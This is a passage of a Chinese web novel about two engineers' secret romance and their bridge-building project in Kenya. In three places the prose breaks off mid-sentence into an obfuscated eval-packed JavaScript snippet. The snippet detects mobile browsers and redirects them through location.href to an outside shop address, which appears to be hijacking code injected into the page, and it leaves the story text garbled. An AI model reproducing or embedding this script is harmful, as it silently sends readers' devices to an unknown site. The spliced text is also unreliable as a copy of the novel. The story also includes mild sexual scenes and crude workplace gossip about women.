真要往长远了想,沈时因早晚都要回去的,可“回国”和“与忠言继续在一起”这两件事可能本身就是悖论。她对异国恋一点信心都没有,钟琂不是一个有耐心养“电子宠物”的人,他喜欢面对面的交流,喜欢看得见摸得着的务实感。 沈时因一直努力不去想以后,可她现在都还没想那么远呢,只盯着眼前难道也不行吗。 钟琂这时候总算察觉到沈时因的情绪不太对了,他捏捏她的脸说:“你果然不适合当老师。一个学生要走你都不开心成这样了,学生一多那还得了。” 沈时因气得掀开蚊帐下床,“你自己睡吧,我睡不着了。” * 周六上午,沈时因如约来到小万的家里,来上这最后一堂课。结束以后,餐桌上也摆了满满一桌的好酒好菜。夫妻俩忙活了一上午,就为了招待沈时因,连张士明都没有这等待遇。 沈时因被请到主位坐下,她连连摆手说:“不用这么客气,我也不喝酒,不用给我倒酒。” 曹光拿出了珍藏多年的好酒,他拉着小万站起来,举杯说:“来,我们一起敬沈老师一杯,她这段时间为你操了不少心。” 沈时因也站起来说:“这都是举手之劳。小万回国之后也要继续努力,健康成长。” 推杯换盏之间,一顿饭吃了两个多小时。饭局结束,曹光送沈时因下楼,他喝了不少酒,走路都有些摇头晃脑。 沈时因说:“别送了,快回去吧。” 临走之前,曹光又说起了那些感谢的话,大概是酒精作祟,曹光颇有些掏心窝子的意味,“不瞒你说,你刚来那会儿,大家都以为你是个花瓶,没过多久就会哭着鼻子跑回国。结果这两年下来,你不仅工作能力强,人也一点不娇气,大家都有目共睹。” 沈时因对这种喝了酒就变成话痨的中年男人很是无奈,她开着玩笑说:“怎么就大家了,我看就你们几个人不看好我吧?” “是真的,我们还拿你打赌了。我本来都快赢了,没想到还是钟琂有眼光,一开始就看出来你不简单。” 沈时因从听到他口中“钟琂”两个字起就愣住了,笑容也僵在了脸上:“钟……琂,他也在背后议论我了?” “是啊,他当时说你至少能跟完一个项目,还说得特别肯定。” 沈时因追问道:“那是什么时候发生的事?” 曹光回想片刻,“好像就是在拍纪录片的那段时间吧。” 见沈时因脸色不对,曹光连忙找补道:“你别介意啊,我既然能说出来就证明这事早就过去了,我们也都对你改观了。” 说完,他从裤兜里掏出来一个信封,硬要塞给沈时因,“这是我和爱人的一点心意,你务必要收下。” 这就是他出来相送的目的,沈时因本来想推拒,可她忽然变得心乱如麻,厚厚的信封没两下就被塞到了她手里。 曹光一走,沈时因把装着钱的信封放进包里,很久都站在楼下没有动。 周末下午的园区里静谧安宁,耳边传来一阵阵的蝉鸣声,这就跟沈时因曾经经历过的每一个夏日午后都一样。 但沈时因心里感受到的却是前所未有的寒意。算算时间,钟琂和她进行山坡谈话之前他就在跟同事打赌了,赌约就是猜她能坚持多久。 钟琂当然不可能是为了钱,但他毕竟好胜心强,事事都想赢,所以在沈时因遇到一些事产生想要离开的念头时,他才会突然那么好心地陪她坐在山坡上,把自己的过往与坚持全都毫无保留地告诉她,为的是能说服她留下,也为了在别人面前证明自己是对的。 钟琂是个什么样的人她早就有了解,但当他就这么清晰透彻地展现在面前时,沈时因依旧感受到了一阵眩晕,这让她几乎站不稳。 她原本以为那是两人感情的开端,钟琂就算还没喜欢上她那至少也愿意剖白自己的内心给她看。他从来没有对别人说过这么多的话,这说明他可能有那么一点欣赏沈时因,也把她当成一个特别的存在。 然而现实就是这样残酷,如果不是她主动亲了钟琂,那他们根本就不会发生后来的故事。怪不得钟琂从不考虑以后,他的未来里有没有沈时因这个人都还要打个问号。 沈时因走到园区街道的长椅坐下,她攥着裤腿,手心都快掐疼了才让自己平静下来。 不过转念一想……好像是她自己非要自作主张地将那天的谈话赋予特殊意义,钟琂不是抱着求爱的目的在挽留她,这也不是什么关于爱的宣言。他没有企图用那些话来赢得沈时因的心,更没有摇旗呐喊,求她施舍一份爱给他。 是沈时因要主动喜欢他,也是她先跨出了那一步,钟琂愿意接受她已经算是一种恩典 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233653|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈时因一直在长椅坐到了太阳快下山,她绝望地想,她能自己把自己哄好,就像过去的每一次那样。她也应该成熟一点,别拿前朝的剑来斩今朝的人,钟琂那时候都没和她在一起,她没有立场去要求当时的他付出真心。 沈时因的手机忽然响了一下,她拿出来一看是钟琂发过来的信息:【我想预约今天晚上来过夜。】 他的语气很正常,类似的话往上一翻就有上百条,可能只是随手复制下来,连标点符号也懒得改。 沈时因忍不住想,自己对于钟琂来说究竟算什么呢。一个忙碌生活之余的慰藉,一个必要时能解决生理需求的芙蓉帐暖,还是一个送上门了所以不要白不要的便宜货? 沈时因突然觉得自己很没出息,因为即使到了这一步,她发现她还是喜欢钟琂,也还想继续和他在一起。 过了几分钟,没收到回信的钟琂又发了一条:【你需要我给你提交一份更正式的邮件吗?】 沈时因还是没回,只望着那行字出神,直到手机屏幕自动进入黑屏。 夜幕低垂,沈时因也一直低着头,盯着脚下的那一块地方出神。不知过了多久,她的视线里忽然出现了另一双脚。 沈时因抬起脸,看见站在她面前的钟琂。“你怎么不回信息,也不接电话?我去你宿舍发现没人,还去食堂找了,你没带手机?” 沈时因定定地看着他,像是忽然不认识这个人了。 钟琂揉了揉她的头发,半蹲了下来,看着她说:“以后别把什么事都往自己身上揽了,你看你,小万要走你一连几天都不高兴。他是哪天的机票?” 沈时因张了张嘴,“……明天。” “走了以后又不是再也见不着了,你们可以在手机上联系,他放假了也总要过来看他爸爸。” 沈时因摇着头说:“走了就是走了,再也回不到以前。” “好了,你别想那么多。”钟琂坐在沈时因的旁边,“你吃饭了吗,要不要一起回去?” 沈时因还是摇头,“你今天别来我这里了,我想一个人待会儿。” 钟琂坐在旁边,沉默良久。他一直看着沈时因的侧脸,像是想找出那些隐隐约约的不对劲来。 “那我走了,你也早点回去。”钟琂站起身说。 沈时因“嗯”了一声,钟琂往前走出几步,突然折返回来问她:“你想去我住的地方看看吗?” 沈时因蹙起眉,“有什么好看的?” “我也不知道,”钟琂说:“但你之前有一次说想去。” 沈时因怔愣半晌,也不知道想起来了没有。但她最终还是站起来了,跟在钟琂后面说:“那走吧。” 钟琂的住所虽然也是单人宿舍,但整体要比沈时因的大一些。书桌比沈时因的大一号,床也要大一圈,还有一个专门的画图桌,可以倾斜和升降,旁边放着形状简洁但很具设计感的台灯,笔筒里也像美术生那样放着削得粗细一致的铅笔。 房间被钟琂收拾得很整洁,他有很多的书和行业期刊,但都整齐地码在墙角,不知道的还以为那是装饰品。 钟琂见沈时因的目光落在那摞书本上,他主动说:“有一本季刊的封面还是我呢,我找出来给你看看。” 钟琂走过去,正按照时间顺序翻找着,他身后忽然一软,沈时因贴了过来,双手也环抱住他的腰。 她的声音闷闷地传过来:“钟琂……” “怎么了?”钟琂一动不动地站着,握住她环绕到前面的手。 沈时因眼角有些湿润,她不想让钟琂看见,偷偷擦去以后才开口:“你能不能对我说你很喜欢我?” 78.第 78 章 钟琂背对着沈时因,看不见她脸上的神情,只觉得语气好像不太对。 “你怎么了,是不是想家了?” “不是。”沈时因还把脸贴在他的背上,“会不会突然有人进来?” 钟琂说:“不会,今天张工不回来。” 难怪钟琂会改变主意带沈时因过来,他的每一步好像都是经过缜密计算的,从不偏离轨道,也都在自己的掌控范围之中。 沈时因忽然提高了音量,质问道:“你为什么那么怕我们被人看见?” “人们会议论。” 沈时因说:“可你不是说不要在意别人怎么看,只需要做自己认为对的事吗。为什么最终解释权永远都在你那里?” “情况不一样,非洲就这么大一点地方,园区里的事情传得很快。”钟琂转过了身,抬起她的脸说:“沈时因,你是一个有能力也有本事的人,也是我见过最认真负责的人。可一旦跟我扯上关系,你的所有成就都会变成依靠裙带关系,你明白吗?” 沈时因望进钟琂的眼睛里,她看见瞳仁里的自己,就好像他满心满眼都是自己。 沈时因的眼里也只能看见钟琂,当他们这样亲密地靠在一起时,她发现自己一定会心软。 沈时因点点头:“我明白。” 钟琂在她嘴唇上亲了好几下,用指腹摩挲着她的脸问:“那你吃晚饭了吗,没吃的话我给你做。” 沈时因走到他的书桌前坐下,“还没吃。” 钟琂出了趟门,再回来的时候手里提着菜。他给沈时因煎了牛排和莴苣,还煮了几只虾。 钟琂洗完碗出来,看见沈时因抱着膝盖坐在床上。他坐过来问道:“你是不是困了,可以就在这里睡。” 沈时因没说话,但她突然伸手去接钟琂衬衫上的扣子,钟琂还没搞清楚状况,衣服就被她脱了下来。沈时因的手一路往上,轻声问他:“你为什么不喜欢系领带?” 钟琂说:“我不喜欢脖子上有东西,好像被束缚住了,呼吸会变得不舒畅。” 沈时因的手停在那里,用虎口卡住他的脖子,稍微用了一点力气,“就像这样?” 钟琂的喉结随之滚动,滑过沈时因的手心,触感很清晰地传了过来。他说:“对,就像这样。” 即便如此,沈时因也没松开手,反倒是就这样亲了下去。 这天晚上沈时因留宿在了这里。她第二天早上洗完澡出来没衣服穿,钟琂给她找了一件自己的衬衫,由于太宽大,刚好能遮住屁股,也就不用穿裤子了。 沈时因坐在桌前吃早饭,钟琂站在衣柜前穿衣服。他脖子上那圈红痕很明显,沈时因不太确定地问:“这不会是我掐的吧?” “不止,你还咬了。”钟琂把扣子系到最上面一颗,问她:“这样是不是就不明显了?” 沈时因偏着头左看右看,观察半晌,“好多了。” 钟琂搬了张凳子坐在沈时因旁边,对她说:“你别再跟我吵了。” 沈时因撇了撇嘴,不满地说:“谁跟你吵得起来?永远都是你有理。” 大概是察觉到沈时因又要生气,钟琂忽然主动拿起她的一只手,展开以后放在了自己的脖子上。 沈时因:“……你干什么?” 钟琂说:“虽然不知道你为什么生气,但我想让你消气。” 沈时因没忍住笑了出来,她收回手说:“我又不是暴力狂。” 沈时因一直留到周日晚上才回去,钟琂出门送她,送着送着又变成留宿在她那里。 新的一周,大桥正式进入到上部结构的施工。最中间的桥墩也已经过去了28天,完成了养护和硬化,在经过测试后全数通过,于是要进行墩台柱和承台基础的连接。 这是个精细活,系梁不仅要与柱同步浇筑,V形墩柱混凝土也要完全对称地进行。一个先一个后都不行。 支架要设置预拱度,钢筋要提前张拉,混凝土也要施加预应力。沈时因最开始提出的“火柴棍”构想更是即将成形。 “浦东机场顶板就用的这套方案,我们应该跟当时的专家连线。”开会的时候沈时因提议。 张士明眉头都快拧成了一股绳,“虽然原理是这么个原理,但情况还是不太一样。咱们这座桥长达几十公里,还要承重,可以说是全新的挑战。我会再跟钟琂讨论。” 大海边堆满了钢筋,混凝土罐车整晚都停在附近搅拌,施工现场被无数大灯照着。沈时因都快分不清白天黑夜了,只知道“轰隆”声总是彻夜不停,夜晚也亮如白昼,这当真变成了一个不夜城。 沈时因起早贪黑地干了两个多月,还被迫在生活区住了几天。一天早上她走进会议室,里面鸦雀无声,胡定荣朝她使了个眼色,小声说:“钟琂来了。” 沈时因往上瞄了一眼,只见坐在最上方的钟琂面沉如水地盯着电脑屏幕,身边的曹光一脸忐忑,看来钟琂不只是“来了”这么简单。 果然,没过多久,钟琂在会议上大发雷霆。按照工期,今天本来该是做十号段载重试验的日子,但即便是加班加点,他们还是没赶上进度。 更雪上加霜的是,施工方式采用的是悬臂浇筑,两边的十一号段浇筑完成之后,包括吊带的最大变形达到了19mm,虽然没有超过最大限度,但抗倾覆系数也维持在了2,这是一个有些危险的数字。 经过一上午激烈的讨论之后,钟琂决定先将十号段放一放,对十一号段进行二次浇筑。 整个项目部的成员都一脸凝重地来到了大海边观看。悬臂浇筑的主要设备实际上是一对能行走的挂篮,当长而粗壮的悬臂彻底张开,“行走”在大海上时,这就像一条海底蛟龙出世,如猛兽一般翻手为云覆手为雨。 偏偏是如此庞大的机械却要来做这样精巧的活计,每一处纵深和系梁都精确到了毫米,容不得半点偏差。 曹光站在旁边,叹气道:“看来总工也不是那么好当的,上部结构从一开始就延误了,零号段起码得比预计工期晚三个月。” 沈时因笑了笑说:“一个季度也不算什么,都还在可控范围内。” 看样子,今天又回不去园区了。沈时因抱着电脑走回四楼,打算出来洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她坐在飘飘荡荡的小船上,看着不同号段的模版和支架渐渐成型。由于是两端对称施工,所以常常是这边需要监测,前面的对应号段也要去做确认,不断往返之间,这一天就都在船上度过了。 以前在国内,一到夏天就会有发藿香正气液,但这里不一样,张士明给他们发的是晕船药。工程师们一向都是伏案工作的群体,什么时候遭过这罪? 海浪打在船头,摇啊摇,荡啊荡,大桥就这样在一天一天的循环往返中渐渐成了型。 假期依旧遥遥无期,所有人都憋着一口气要完成这个旷世杰作,只要按照设计图修好,这就是足以载入史册的大工程。 沈时因也一样,每天都忙得像个永不停歇的小陀螺。可还不等她心里的那根弦松懈下来,新的噩耗传了过来。 钟琂收到消息赶过来的时候沈时因坐在窗边,她握着手机,房间里没开灯,只能通过室外的一点光线看见她悲伤的侧影。 听见声响的沈时因缓缓转过头,她哭丧着脸说:“钟琂……外婆摔了,她可能再也走不了路了。” 79.第 79 章 命运好像总会对苦命人出手,沈时因明明都已经这么努力了,可她那个原本就已经支离破碎的家还会变得更坏。 钟琂走过去抱着沈时因问:“严重吗,去医院看过了没有,现在稳定下来了吗?” 沈时因的头很痛,一开始带来的冲击太强烈,以至于电话挂断很久之后她的心都还在狂跳。 “是在下楼的时候摔的。外婆在摔倒之后很久都站不起来,但她第一时间没联系我,而是给梁冉打了电话,她们去医院检查过之后才告诉我。” 钟琂坐了下来,“也就是说,事情至少已经发生一两天了?” “对,是前天的事了。”沈时因埋着头,颓败地说:“外婆怕我担心,所以等事情都过去了才通知我。” 沈时因浑身被无力感充斥,“我真没用,这么大的事都没能陪在她身边,她当时一定吓坏了。” “你先不要自怨自艾,”钟琂说:“你外婆现在究竟是什么情况?” “说是没什么事了,可以出院,但她以后应该都走不了路了。”沈时因吸了吸鼻子说:“她也不能做饭了,因为无法长时间站立,梁冉给她买了拐杖和轮椅,还买了些速食放在冰箱。不行,我还是得回去……” 沈时因“蹭”地一下站了起来,她每次在焦虑无措的时候都会无意识地走来走去,像不知疲倦一样。 “你先冷静下来,”钟琂走过去握着她的肩说:“梁冉有没有给你发具体的病历?你外婆只是走路费点劲还是生活完全不能自理了?这有很大的区别。” “就是走路要费点劲。外婆在电话里还笑着呢,让我别担心,梁冉也让我先别回去,说是没有太大的问题,她让我过几个月再回,到时候还能一并参加她的婚礼。” 沈时因挥开他的手,继续来回踱步,“但突然一下子走不了路了,影响肯定很大。外婆可能门都出不了,虽然梁冉教会了她怎么在网上买菜,但长期关在家心里一定不好受……” 沈时因恨不得马上飞回去,相隔万里又无能为力的感觉实在太难受了。 钟琂说:“我觉得你应该听梁冉的。” 沈时因停下了脚步,“你也觉得我现在不该回去?” “大桥完工在即,如果你能再坚持一段时间,那么这个项目就能写进你的履历,因为你全程跟下来了。可如果这个节骨眼请长假,过去这一年多付出的心血在很大程度上都要白费。再者,梁冉结婚你肯定还要再回去一趟,短时间内请这么多假张工不一定会批,就算批了等你回来也会被边缘化。” 沈时因嘴唇翕动,她的理智告诉自己钟琂说得很有道理,也是她目前能做出的最优解,但就是太残酷了…… “都这个时候了,你怎么满脑子都还想的是履历?” 钟琂说:“这确实很难接受。但你说了没什么大碍,外婆的精神状态也很好,那你就不应该现在回去。” 沈时因跌坐回床上,听见钟琂又说:“你有上次我们去的那家面馆电话吗,我们可以联系老板,让他固定送饭上去。附近好多餐馆不都是你以前上学那会儿常去的么,跟老板也都很熟,去谈一谈,避开高峰时段送饭,再多给一点跑路费都是能谈下来的。” 钟琂见沈时因精神恍惚,索性拿出手机说:“那我来联系郑意成,让他帮忙。郑意成也给我发婚礼的电子请柬了,等熬过这一段时间,大桥完工以后我就陪你一起回去,好吗?” “好……”仿佛要给自己打气一般,沈时因喃喃地说:“我现在应该把心思放在工作上,等大桥真的建成了,我就是一大功臣,工资、奖金和职位全都能水涨船高。” 说着说着沈时因就有些哽咽,“只有这样才能让外婆过上好日子……” 赚钱很重要,陪伴也很重要。但沈时因只有一个人,她没法把自己砍成两半,也就意味着必须做出取舍。 沈时因开始每天早起半个小时,按时给外婆打视频回去,互相报平安。外婆好像真的老了,一夜之间就从一个健朗的老太太变得白发苍苍。 外婆说:“我还是可以做饭的,只要坐着就行。” “你不要干这些体力活,用到手的也不行,你忘了骨科医生怎么说的了?”沈时因提醒道。 因为腿脚不便,外婆出门晒太阳的时间大幅减少,沈时因担心她缺钙,在网上买了很多钙片让梁冉送过去。钟琂也帮忙联系了许多附近的小餐馆,每周七天,变着花样地给外婆送饭。 这样的生活好像咬咬牙也能坚持,外婆逐渐适应起不良于行的身体状况,在沈时因面前总是报喜不报忧。 沈时因既然不能做到在外婆膝头尽孝,那么也就只能把满腔热情都放在手头的工作上。本来大桥的修建就已经到了很关键的时候,两侧的斜拉索也依次安装上去,轻盈漂亮的曲线就像无数只白鸽飞翔在海面,给原本敦实厚重的桥台基础增添了许多飘逸的美感。 眼看大桥形状越来越接近设计概念图上的那样,年底表彰大会也来了,沈时因的名字赫然出现在了名单上,而且还是作为明星员工上榜。 在冗长的总结与展望之后,沈时因心心念念的年终奖金也终于到账。她在第一时间给外婆转了笔钱回去,大头自己存下,同时也不忘给梁冉发个大红包。 “我今年过年又回不来了,你多陪陪外婆,等我下次回来一定好好感谢你。”沈时因在电话里说。 梁冉婚期在即,与父母之间的抗争也到达了白热化,她无所谓地说:“你放心,我直接搬去你家过年,好好陪外婆。在家也是看人脸色,我必须要拿出个态度来,让他们看看我不是好惹的。” 沈时因笑了起来,“那你们正好作伴,天气好的时候就推外婆出去转转,你也别跟阿姨叔叔的关系搞得太僵。” “知道了,你在外面放心飞吧,家里有我。” 大桥合龙这天,电视台又来了。沈时因已经很能适应镜头,张士明看她形象好,英语也好,有时候让她在摄像机面前发言几句,她也能做到出口成章。很能给这帮工程师长脸。 年一过完,张士明又带了几个新入职的员工到沈时因面前,让她帮忙带带,再顺便看看能不能选拔出一两个,后期重点培养。 沈时因吸取了上次的教训,发誓不再大包大揽地当老好人,没想到这次的人都比赵广生像样。看来奇葩之所以为奇葩,稀有也是一定的要素。 合龙段采用了最高等级的混凝土强度,两侧悬臂终于顺利“会师”,形成了一个整体结构。接下来就是桥面系了,供车辆行驶的路面与沈时因先前修过的公路如出一辙,无非是做表面平整、防水和硬化,再就是做桥面铺装,比如栏杆和路灯一类。 虽然整体完工还需要几个月,但至少主体结构已经结束了,像沈时因这样的工程师都能暂时喘一口气了。钟琂一连好几天每次来到沈时因的宿舍她都在睡觉。 “你怎么这么困,桥面铺装不去看看?”钟琂把沈时因抱起来说。 “我休息几天不行吗,后续工作都安排给底下的人了。” 钟琂称赞道:“有进步,都学会把任务派发下去了。” 沈时因喝了几口水说:“我们要不要提前把机票买了,夏天之前应该就能彻底完工。” 钟琂不太赞成,“这种事情不确定性太大,我们不能提前太久安排。还有一大堆荷载试验等着做,几千吨的货车都联系好了,做完这些才能正式交付。” 虽然还没有投身使用,但园区上下还是不免萦绕起“事了拂衣去”的轻松氛围,毕竟偌大宏伟的大桥就摆在那里,任谁看了都会惊叹连连,后面那些零零散散的活都算是装修了。 沈时因常常在大桥边上一坐就是大半天,不仅是欣赏,还有对这两年种种辛苦的感怀。她还拍了许多照片发给外婆,在画面里,她用手托着大桥,咧着嘴,仿佛在说:“看!这是我修的。” 第一次静载试验通过那天,张士明声势浩大地要办庆功宴。当初钟琂主持修建的那座高塔中间有二十层都是酒店,他们包下了其中一层的宴会厅,在这里举办晚宴。 论起第一大功臣,那当然非钟琂莫属了。他被拱上去做了一番演讲,大致是说“多亏大家共心协力,以后还要继续努力”云云。 从聚光灯下走出来,钟琂找到自己的位子坐下。旁边几人正在交头接耳,有一道声音很清晰地传进了他的耳朵里,“按理说这功劳也该有方总工一份,半途被人截了胡,真是亏大了。” 另一人低声说:“现在该叫曹总工了,这种天上掉馅饼的事怎么就轮不到我……” 随着钟琂的落座,旁边那人清了清嗓子,示意他们别说了。那几人互相交换一个眼神,一径举起酒杯喝了起来,大部分人的注意力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282444|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是在台上,现在正好轮到曹光讲话。 这个庆功宴的布局跟酒席差不多,几十张圆桌上铺着白色的桌布,十个人围坐成一桌,一般按照等级和职位划分座次。 一阵此起彼伏的掌声之后,曹光红光满面地走下台,拉开钟琂旁边的椅子坐下。胡定荣举着一个不知道从哪找来的相机,镜头本来对着台上的曹光,此时也一路追随了下来。 席间有一人不痛不痒地说:“小胡都做起摄影师了?这么大排场,是要再拍一个纪录片出来?” 胡定荣悻悻地收起相机,“是张工让我负责拍摄的,因为我会剪辑,说要剪个视频出来放在公司官网。” 曹光深知自己突然升了职必然会引起一些人不满,他也无意逞口舌之快,毕竟实实在在的便宜都真得了,总不能这个时候还来卖乖。曹光有意将姿态放得很低,对胡定荣拂了拂手说:“我没什么好拍的,拍别人去。” 场面一时有些冷了下去,钟琂自然不会去做那个活跃气氛的人,他看向隔了好几桌的沈时因,她正在剥桌上的桂圆吃,也在跟旁边同事说笑。不知聊到了什么,她脸上挂着浅浅的笑意,眉眼也弯弯的。 “怎么一直盯着人家沈工看啊,我看你俩最近走得挺近的,是不是有什么想法了?” 钟琂有一瞬的恍惚,他移开视线,很快反应过来他们说的不是他,而是曹光。 曹光倒是一派坦荡自如的样子,他直说道:“沈工脾气好性格也好,没人不喜欢。但我没有那方面的想法。” “你不是老婆孩子都回国了么,难道就不寂寞?不过沈工喜欢的貌似另有其人,有的人怕是要热脸贴冷屁股咯……人比人啊,可真是气死人。” 那人说完以后还意味深长地往钟琂这边看了一眼,意思是曹光这个癞蛤蟆就别想高攀沈时因这只天鹅了,人家看上的是钟琂。这话既踩了曹光一脚还顺便讨好抬高了钟琂,若是换成了以前那位方姓领导,此时定是笑得牙不见眼了。 可钟琂根本不吃这套,他没有在酒桌上就应该放低身份、与大家其乐融融甚至开几句低俗玩笑的习惯,他冷冷吐出一句:“喝不了酒就让人撤了,别在我面前耍酒疯。” “别,别撤。张工好不容易网开一面,您也高抬贵手。”对面那人嬉笑着说:“是我说错话了,也对,钟琂怎么可能看上那种人。” 这帮人私底下说话一向荤素不忌,可舞到钟琂面前来还是第一次。项目最艰难的部分都完成了,现在开的又是庆功宴,这些人多少都有些飘飘然。 关于那些八卦轶闻,他们常常是越离谱的越爱传,板上钉钉的反而没人敢说。钟琂本来可以一笑置之,但他就是不喜欢这些人说起沈时因的那副态度,就像……就像他们以前聊起那个女李工那样。 这桩事件出名到在这行稍微有些资历的人都有耳闻,张工前几年还特地三令五申过,让他们一定要注意男女关系的分寸,千万不能过界。这些人面上答应得快,私底下没少拿事件主人公做文章。 “换谁谁不迷糊呀,□□一个劲地往你身上扑,你能把持得住?” “网上还有报道,说女李工出身在单亲家庭,从小缺失父爱所以容易爱上年长男性。也不知道在床上是不是叫人爸爸。” 他们就是用这些话在胡乱编排,说完之后也总是伴随着一阵调笑。 钟琂觉得这种桃色新闻里总归还是女方更吃亏,也要承受更多的舆论压力和恶意揣测,正因如此他才始终与沈时因保持距离,铁了心要把这段恋情捂得死死的。 钟琂当然也可以在出现这类话题时严厉禁止,没有人会不买他的帐,但他总不是能时时刻刻都在场的。当他不在的时候,这些人只会用更粗鄙恶俗的语言来形容包括沈时因在内的任何一个女人。更重要的是……沈时因也没有爸爸,她算是最缺少父爱的那类人,这在公司里不是秘密。 钟琂决定一次把话说明白,将这些人的嘴全给赌上。他很郑重地说:“沈工没有喜欢我,我对她也没有非分之想。这不是看不看得上的问题,她不是我喜欢的类型,而且我们对待工作的态度也都足够专业。以后不要再拿这种事开玩笑。” “那你喜欢什么类型?” 钟琂沉吟片刻,再开口的时候语气肯定:“我当然还是喜欢美国女孩了,小麦色的皮肤、卷曲的头发和自信热情的笑脸。” 80.第 80 章 当天晚上,很多喝得醉醺醺的同事都直接睡在了楼上的酒店,沈时因也分到了一张房卡,她入住以后把房间号发给了钟琂。 钟琂稍晚些的时候才过来,长长的走廊地板铺就着花纹繁复的地毯,灯光昏暗暧昧,站在门口的钟琂脸上投下一片阴影,显得棱角分明。 沈时因掀开一点门缝,钟琂速度很快地走进来关上门。只要想到隔壁正住着许多同事和上级,沈时因就感觉到一阵胆战心惊。 沈时因裹着浴袍坐在床上,钟琂伸手去摸她的脸,“你笑什么?” “人在很紧张的时候就会想笑。” 钟琂本来不觉得有什么,但听她这么一说也笑了出来,“你喝了很多酒?” “没有很多,几杯而已。”沈时因看上去还算清醒,她握着钟琂的手说:“这整栋楼都是你设计的?” “嗯,这跟大桥的结构有些类似,这个特别高,大桥是特别长,当时也熬了很多个通宵。”钟琂牵着沈时因的手走到落地窗前,“建成以后,也就是拍纪录片的那几天我就住在对面那栋楼,每天都坐在窗前欣赏。” 沈时因很能理解这种心情,“大桥建成以后我也天天看,总觉得看不够。” “这种感觉很奇妙。图纸里自己一笔一画勾勒出的线条有一天会突然跑出来,成为一座摩天大楼伫立在你面前,还给那么多人提供了遮风挡雨的屋檐。” 沈时因忽然想起了小时候的一篇课文,“有一首古诗你学过吗,杜甫写的。” “安得广厦千万间,大庇天下寒士俱欢颜?”钟琂说:“那我还是有点惭愧,没能庇护天下寒士。” 沈时因摇着头说:“你已经在自己的能力范围内做到最好了。” 他们坐在一起,互相靠着,共同俯瞰内罗毕的城市夜景。沈时因忽然问:“那你有没有想过,你有一天会在自己设计的大楼里跟我上床?” 钟琂收回视线,舔了一下嘴唇说:“这倒没有=想过。” 紧接着,他关上了窗帘,室内只剩床头那一点微弱的灯光。沈时因的浴袍里什么也没穿,他刚把手伸进去就触碰到一团绵软和滑腻,后来,他逐渐开始用唇舌来代替手,与她做一些水乳交融的快乐事情。 结束以后,沈时因又去洗了个澡,再出来的时候钟琂已经把窗帘拉开了。他从柜子里找出一个吹风机,要给沈时因吹头。 在吹风的鼓噪声中,沈时因手里摆弄着两根皮筋,“张工还真是一天都不闲着,这边刚结束,他又在庆功宴上展望未来了。是不是下一个项目已经有眉目了?” 钟琂拨弄着沈时因的头发说:“应该会是一栋大厦,或者一座电视塔。不过还在谈,具体的时间地点都还没确定。” “应该要修在园区附近吧,我上次还看见好多推土机。” 钟琂说:“有可能,也该往那边发展了。” 事实证明沈时因的猜测很准。没过几天,张士明果然在一次例会上提出了下一个项目的初步计划。他们会在园区旁边修建一座电视塔,然后以此为圆心往周边发展,要在十年内打造出一个新城区。 这样的项目一般来说都会被抢破头,因为难度不算太大,但修建出来以后会很漂亮,也会作为一个城市景点。而且选址地毗邻园区,上下班很方便,不用住在什么条件艰苦、可能还没信号的临时生活区。 摆在沈时因面前的是一个巨大的机会,她已经通过大桥项目证明了自己,这次应该也会很顺理成章地受到提拔。 在做“战略部署”的时候,沈时因的名字很自然地出现了结构工程师的那一栏。她坐在下面翻看起策划书,想不出有什么拒绝的理由。 她在电话里对梁冉说:“这真的是个不可多得的好机会,我不想错过。过段时间我会回来参加你的婚礼,再把外婆安顿好了,最好还能再请个住家保姆,这样我就能放心地在这边再干几年。” 梁冉有些不放心地说:“可我听说有的住家保姆会虐待老人,还会偷家里的东西。家里最好还是能有人盯着。” “不会的,外婆只是腿摔坏了,脑子清楚着呢。我也会认真挑选,找一个值得信任的人。” “那好吧,我到时候也可以定期过去看看。”梁冉问:“因因,你真的决定了?” 沈时因已经在非洲工作了三年,三年以后又要三年,那一个人的金色年华能有多少个三年呢?她总说佩服那些愿意留在这里抛头颅洒热血的大好青年,但实际上她自己也不遑多让。 沈时因口口声声说的都是为了事业,为了赚钱,但她们其实都心知肚明,这里面还是少不了一部分钟琂的原因。 沈时因走到窗前,对着电话那头说:“这绝对是留在非洲的最后一个项目了。我本来最开始也想的要派遣五年,这不算脱离计划。” 挂断电话,沈时因照常来到海边,检查桥面系的铺装进度。她先坐船到大海中央,再由升降梯往上,抵达最中间的零号段。 这是整座建筑的绝对中心点,沈时因停在这里,分别向两端看去。不论从哪个角度看,桥面都呈现出线状往两侧不断延展开,它们平整、坚实、流畅,这是一种完全对称的美。 沈时因回到船上,打开电脑。第一次防水测试已经做完了,对汛期最高水位的通航模拟也告一段落,按理说钢圆筒的振沉也应该有了第一月度的反馈数据,但沈时因找遍了邮箱也没看到。 她驾驶船只返回岸上,来到办公区。胡定荣戴着耳机坐在隔间里,鼠标点得嗒嗒作响。 “你收到振沉的受力反馈了吗?”沈时因问。 沈时因拉开旁边的椅子坐下,打开电脑插上网线,胡定荣这时才探了半个脑袋过来,手上还拿着一侧耳机,“你刚才说话了?” 